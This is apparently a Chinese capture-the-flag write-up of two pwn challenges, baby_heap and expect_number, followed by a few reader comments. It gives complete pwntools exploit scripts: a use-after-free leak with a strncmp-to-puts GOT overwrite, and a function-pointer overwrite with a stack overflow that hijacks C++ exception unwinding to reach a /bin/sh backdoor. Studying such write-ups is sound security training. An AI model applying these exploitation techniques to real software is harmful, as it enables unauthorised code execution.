强网杯S8初赛pwn writeup

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作者:xia0ji233   
本次强网杯初赛做出两道pwn题,把详细题解写一下记录。
baby_heap
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2.35 的版本,IDA打开,堆菜单题,经典增删改查之外,还有两个额外的操作,一个是环境变量,另一个是任意地址写 0x10 字节。
del 里面有很明显的UAF漏洞。

show 只有一次机会,但是可以同时将 libc 和堆地址一起泄露出来,只需要我们释放两个相同大小的堆块之后,bk_nextsize 和 fd_nextsize 上面就会携带堆的地址,然而我自己的做法中没有用到。
交互函数:
from pwn import *
context.log_level = "debug"
p=process("./pwn")
# p=remote('47.94.231.2',)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def choice(ch):
    p.sendlineafter("choice:",str(ch))
def add(size):
    choice(1)
    p.sendlineafter('size',str(size))
def free(idx):
    choice(2)
    p.sendlineafter('delete:',str(idx))
def edit(idx, payload):
    choice(3)
    p.sendlineafter('edit:',str(idx))
    p.sendafter('content',content)
def show(idx):
    choice(4)
    p.sendlineafter('show:',str(idx))
def env(ch):
    choice(5)
    p.sendlineafter('sad !',str(ch))
def write(addr1,payload):
    choice(6)
    p.sendafter('addr',p64(addr1))
    p.send(payload)
先add出四个堆块,把 1 3 free 掉,再打印出 3 堆块的内容,即可连带泄露 libc 和堆地址。
add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(1)
free(3)
show(3)
运行结果

注意到选项 6 并不是任意地址写,而是有一定限制的,

这里说实话不知道是不是 IDA 解析有问题。因为理论上来说 stdin 是 FILE * 类型,占 8 字节,因此 &stdin[512] 等同于 stdin 的地址加上 512*8=4096=0x1000,但是将视角调到汇编时会发现

它往后加了 0x1b000 的地址,通常情况下,以汇编为准一定没问题(以上是做题时的想法),但是后来才发现犯了一个错误,stdin 的确是 FILE * 类型的,但是 stdin[0] 是 FILE 类型的,直接的 stdin 是一个指向 _IO_2_1_stdin_ 的指针,类型为 FILE,在 gdb 里面也很容易观察到这一点。

这里主要观察这个 &stdin[512] 与 stdin 的差值,以及可以发现,它所禁用的这个范围就是 libc _IO_2_1_stdin_ 之后的data 段,全部不允许写。
而另外一个条件就有意思了,不能超过 80 开头的一个地址,基本不会触发,所以目标很明确,让我们去写 libc _IO_2_1_stdin_ 之前的 data 段,或者是写堆段,程序段写不了因为没有办法泄露地址。
先考虑前者,来看看之前的 data 段存了哪些内容。

发现基本是 got 表,于是尝试输出看看 libc 的 got 表,发现都是跟字符串操作的相关函数

看来可以尝试在这里找一个函数作为跳板,能不能 one_gadget 呢?显然不能,这题有沙箱。

除非你能找到一个 execveat 系统调用执行的 one_gadget 这题才能直接一键利用。
同时注意到选项 5 对环境变量的相关操作
  • getenv
  • putenv
  • setenv

    这里可以直接上 glibc 的源码。
    char *
    getenv (const char *name)
    {
      char **ep;
      uint16_t name_start;
      if (__environ == NULL || name[0] == '\0')
        return NULL;
      if (name[1] == '\0')
        {
          /* The name of the variable consists of only one character.  Therefore
         the first two characters of the environment entry are this character
         and a '=' character.  */
    #if __BYTE_ORDER == __LITTLE_ENDIAN || !_STRING_ARCH_unaligned
          name_start = ('='
    观察到最后一个循环中,它在遍历环境变量,并且使用 strncmp 这个函数,而这个函数恰好是在 got 表中的,如果尝试将其改为 puts,结果会如何呢?

    可以发现只输出了 USER 环境变量,而且前两位被去掉了,我们从头来分析这个源码看。因为我们入口是 getenv("USER"),所以长度为 1 的判断就直接过掉,直接看 else 分支,似乎只有开头两个字符匹配到了,才会紧接着调用 strncmp,因此出现了只输出 USER 环境变量的问题。
    但是当我选择选项 2 或 3 的时候,它输出了所有的环境变量

    也就是说不管是调用 putenv 还是 setenv,在劫持了 strncmp 函数之后都可以完美输出所有环境变量。
    它们两个函数内部都调用了一个函数 __add_to_environ。
    函数源码跳楼
    int
    __add_to_environ (const char *name, const char *value, const char *combined,
              int replace)
    {
      char **ep;
      size_t size;
      /* Compute lengths before locking, so that the critical section is
         less of a performance bottleneck.  VALLEN is needed only if
         COMBINED is null (unfortunately GCC is not smart enough to deduce
         this; see the #pragma at the start of this file).  Testing
         COMBINED instead of VALUE causes setenv (..., NULL, ...)  to dump
         core now instead of corrupting memory later.  */
      const size_t namelen = strlen (name);
      size_t vallen;
      if (combined == NULL)
        vallen = strlen (value) + 1;
      LOCK;
      /* We have to get the pointer now that we have the lock and not earlier
         since another thread might have created a new environment.  */
      ep = __environ;
      size = 0;
      if (ep != NULL)
        {
          for (; *ep != NULL; ++ep)
        if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
          break;
        else
          ++size;
        }
    /*
    中间省略很多代码,感兴趣可以直接去看完整源码
    */
      return 0;
    }
    通过分析这个函数的源码,可以发现这里会无条件地去遍历环境变量一次一次调用 strncmp 去判断,并且很幸运,第一个参数就是函数变量的指针,因此修改 strncmp 的 got 为 puts 函数,就可以输出所有的环境变量。
    在远程环境中, flag 就在环境变量中。
    总EXP:
    from pwn import *
    context.log_level = "debug"
    p=process("./pwn")
    # p=remote('47.94.231.2',)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    def choice(ch):
        p.sendlineafter("choice:",str(ch))
    def add(size):
        choice(1)
        p.sendlineafter('size',str(size))
    def free(idx):
        choice(2)
        p.sendlineafter('delete:',str(idx))
    def edit(idx, payload):
        choice(3)
        p.sendlineafter('edit:',str(idx))
        p.sendafter('content',content)
    def show(idx):
        choice(4)
        p.sendlineafter('show:',str(idx))
    def env(ch):
        choice(5)
        p.sendlineafter('sad !',str(ch))
    def write(addr1,payload):
        choice(6)
        p.sendafter('addr',p64(addr1))
        p.send(payload)
    add(0x500)
    add(0x500)
    add(0x500)
    add(0x500)
    free(1)
    free(3)
    show(3)
    libc_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21ace0
    success('libc_addr: '+hex(libc_addr))
    write(libc_addr+0x21a118,p64(libc_addr+libc.sym['puts']))
    env(2)
    gdb.attach(p)
    p.interactive()
    第二种方法当然是可以用 Largebin Attack 去打,但是过于复杂,可能自己还没学会,主要在于分享自己的 EXP 和做题思路了,就不增加额外的工作量。
    expect_number
    附件下载
    这题没给 libc,应该题目自己有提权或者是给 flag 的东西,运行它输出的话,需要让我们最终计算得到 0x4F5DA2 这个值。
    也是一个很经典的菜单

    选项 1 发现它会根据随机 1~4 之间的整数来判断当前对数字做四则运算,1、2、3、4 分别对应了加、减、乘、除,并且另一个运算的数字只能是 0 1 2。既然是随机,那么交叉一下 srand 函数看看它是用了什么种子。

    虽然调用了 time 函数,但是使用了 1 作为种子,因此序列是固定的,可以自己也编写一个 C 语言程序去输出这个序列。
    #include
    #include
    #include
    int main(){
        srand(1);
        for(int i=0;i
    为了避免被怀疑水长度,这里 288 个数字不展示了,仅在最后 EXP 展示。
    很显然的,加减如果是 0,那么这次加减是无效的,乘除如果是 1,这次乘除也是无效的,来先看看指定数值的判断逻辑。

    它只判断最后的那一个字节是否为 a8,自己构造序列也挺简单,遇到除法就给 1,遇到减法就给 0,结果发现再一次加法中突然报错了。
    顺着报错找到代码

    看了一下可能我的数值不超过 0x100,但是发现 >0x80 的数被识别为了负数,前面将char类型做了符号扩展之后又转为无符号整数,自然就超出范围了。
    这里举个例子构造 0x82,再次尝试加法的时候结果为 0x80于是进入里面的逻辑

    可以发现它先做了零扩展(movzx),再做了符号扩展(movsx),因此下一步 RAX 的值变为了 0xffffff80,对于res来说,它是 -80 了,再+2变为 -78,转为无符号整数之后自然就超过了 0x100

    因此如果想算出超过 0x80 的字节,必须算到对应的 /2 的形式,而且最后一个运算符必须是 *2,结果只能是偶数,不能结果不能超过一个字节。
    这些结论做稍加的数学推导应该很容易发现,但是当你好不容易凑好 0x54,再乘 2 得到 0xa8 的时候,会发现,远程 gift 是没有这个文件的。

    咨询出题人(合理的咨询是不违反比赛规则的)后发现这是正常情况

    那么题目就不是让我们执行这个 system("cat gift") 了,闲来无事去找字符串的时候发现 /bin/sh,发现在输入选项的时候有一个后门。

    发现 cin 被 try 包裹了,如果出现运行时错误,那么就执行 system("/bin/sh"),而试过了各种输入都无法触发,一再陷入僵局,后面发现了退出函数有一个函数指针的调用。

    正常情况下就是输出 Good Bye,于是想到能否将结果覆盖到上面,计算的数值的结构体是
    struct calc{
        char *unknown;
        int rounds;
        char num[288];
        char s;
    }
    而我们的数值是随着 round 增加保存在后面的,查看是否有机会覆盖函数指针,结构体地址在 5400,而函数指针在 5520,显然我们足以覆盖这个函数指针。

    具体字段图中标出,我们有机会覆盖任意字节到函数指针的低位。
    于是找各种可能的情况,在 4c00 的地址 0x100 字节范围内看看有什么能修改的。

    这里大概率都是虚函数表,发现 0x60 偏移处有一个栈溢出,栈溢出刚好足以让我们覆盖返回地址。

    同时发现它主动检测溢出了会抛出运行时异常,运行时异常 emm,是不是可以和前面结合一下呢,答案是可以的,我们来了解一下C++如何处理异常的。我们都知道,在严格的异常处理流程,一个函数如果有可能抛出异常,要么你声明它本身也是可以抛出异常,要么将可能抛出异常的函数用 try 包裹。
    C++ 如何实现多级的 try 判断呢,答案是栈回溯,它会寻找调用栈,判断之前的函数有没有被 try 包裹,有的话尝试捕获去处理。正常情况下这种设计当然没问题,如果返回值地址被我们修改的话,它就会根据返回值地址的值去寻找调用栈,那么此时我就可以尝试将这个抛出的异常在 cin 输入那里去捕获,然后完成 system("/bin/sh") 的调用。
    并且 show 功能可以输出程序基地址,也不用去爆破了。
    最后一点需要注意的是,看到后门这里,它有一条写栈内存的指令,因此在溢出的时候,RBP 要设为一个可写的地址。
    最终 EXP
    from pwn import *
    p=process('./expect_number',aslr=False)
    # p=remote('39.106.48.123',32818)
    context.log_level='debug'
    seq="4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 1 4 4 3 4 1 1 1 1 4 1 3 3 3 4 4 3 3 3 4 2 2 3 2 1 1 1 2 1 3 2 2 2 1 4 1 2 4 2 2 4 2 4 2 4 4 1 2 2 3 2 3 4 4 1 1 4 1 2 4 4 3 1 1 4 1 2 1 4 3 2 3 4 2 4 4 1 1 1 2 3 2 1 3 1 1 3 4 1 4 4 4 2 4 1 1 4 2 1 4 4 3 2 3 4 2 2 4 2 3 1 4 4 1 2 1 1 4 4 2 3 3 1 1 3 1 1 2 2 2 1 1 4 3 4 3 4 1 2 1 3 2 4 3 3 2 3 3 1 2 4 4 1 1 4 3 1 4 4 3 1 1 3 4 3 2 2 2 3 3 2 1 1 1 3 3 2 1 1 3 3 1 2 3 1 1 1 1 4 4 3 1 4 2 4 2 3 2 3 1 4 4 2".split(' ')
    seqnum=[int(i) for i in seq]
    target=0x60
    now=0
    ch=0
    k=''
    for i in seqnum:
        p.sendlineafter('choice ','1')
        if i==1:
            k += '2'
            now += 2
            # if now == target-2:
            #     gdb.attach(p)
            p.sendlineafter('or 0', str(2))
        elif i==2:
            k += '0'
            p.sendlineafter('or 0', str(0))
        else:
            k += '1'
            p.sendlineafter('or 0', str(1))
        ch+=1
        if now==target:break
    gdb.attach(p)
    for i in seqnum[ch:-0xc]:
        p.sendlineafter('choice ', '1')
        if i==1 or i==2:
            p.sendlineafter('or 0', str(0))
            k += '0'
        else:
            p.sendlineafter('or 0', str(1))
            k += '1'
        # input()
    p.sendlineafter('choice ', '2')
    p.recvuntil(k)
    addr=u64(p.recv(6)+b'\0\0')-0x4c60
    success('code: '+hex(addr))
    payload=b'\x00'*0x20+p64(addr+0x5080)+p64(addr+0x251A)
    p.sendlineafter('choice ', '4')
    p.sendafter('Tell me your favorite number.', payload)
    p.interactive()
    本地运行结果

    远程运行结果(纪念一下hh)

    总结
    能打出两题还是挺开心的,感谢强网杯提供的高质量赛题(就是rs和go没学过后面就坐牢了),不管是从考点还是利用难度来说,题目出的都是非常棒的。

    函数, 发现

  • cnwutianhao   

    感谢分享
    Redbell   

    非常厉害了!团队一共做了多少题啊
    pjyang   

    感谢分享
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